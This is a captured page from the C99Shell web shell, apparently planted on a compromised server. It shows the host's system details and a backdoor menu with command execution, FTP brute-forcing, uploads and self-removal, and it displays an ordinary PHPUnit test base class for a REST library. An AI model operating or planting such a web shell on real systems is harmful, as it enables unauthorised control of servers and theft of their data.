!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/lib/rest/toba/   drwxr-xr-x
Free 14.53 GB of 61.93 GB (23.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rest_test_case.php (2.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace rest\toba;

use 
rest\http\request_memoria;
use 
rest\rest;
use 
rest\seguridad\rest_usuario;

class 
rest_test_case extends \PHPUnit_Framework_TestCase
{

    
/**
     * @var rest
     */
    
protected $app;
    protected 
$autenticador;
    protected 
$autorizador;

    protected function 
ejecutar($metodo$ruta$get = array(), $post = array(), $headers = array())
    {
        if(
strpos($ruta'?') !== false){
            throw new \
Exception("Pasar los parametros del get en el tercer parámetro");
        }
        
$app $this->setupRest();
        
$host = \toba_rest::url_rest() . $ruta;
        
$this->mock_vista_no_escribir($app);
        
$mock_request = new request_memoria($metodo$host$get$post$headers);
        
$app->request $mock_request;
        
$app->procesar();
        return 
$app->response();
    }

    protected function 
setupRest()
    {
        if(!isset(
$this->app)){
            
$tr = new \toba_rest();
            
$app $tr->instanciar_libreria_rest();
            
$tr->configurar_libreria_rest($app);
            
$this->app $app;
        }
        return 
$this->app;
    }

    protected function 
mock_autenticador(rest_usuario $userrest $app)
    {
        
$this->autenticador $this->getMockBuilder('rest\seguridad\proveedor_autenticacion')
            ->
disableOriginalConstructor()
            ->
getMockForAbstractClass();

        
$this->autenticador
            
->expects($this->any())
            ->
method('get_usuario')
            ->
will($this->returnValue($user));
        
$app->autenticador $this->autenticador;
    }

    protected function 
mock_autorizador($autorizarrest $app)
    {
        
$this->autorizador $this->getMockBuilder('rest\seguridad\proveedor_autorizacion')
            ->
disableOriginalConstructor()
            ->
getMockForAbstractClass();
        
$this->autorizador
            
->expects($this->any())
            ->
method('tiene_acceso')
            
//->with($this->equalTo($usuario))
            
->will($this->returnValue($autorizar));
        
$app->autorizador $this->autorizador;
    }

    protected function 
mock_vista_no_escribir(rest $app)
    {
        
$vista $this->getMockBuilder('rest\http\vista_json')
            ->
disableOriginalConstructor()
            ->
getMock();
        
$vista
            
->expects($this->once())
            ->
method('escribir')
            ->
will($this->returnValue(''));
        
$app->vista $vista;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.0526 ]--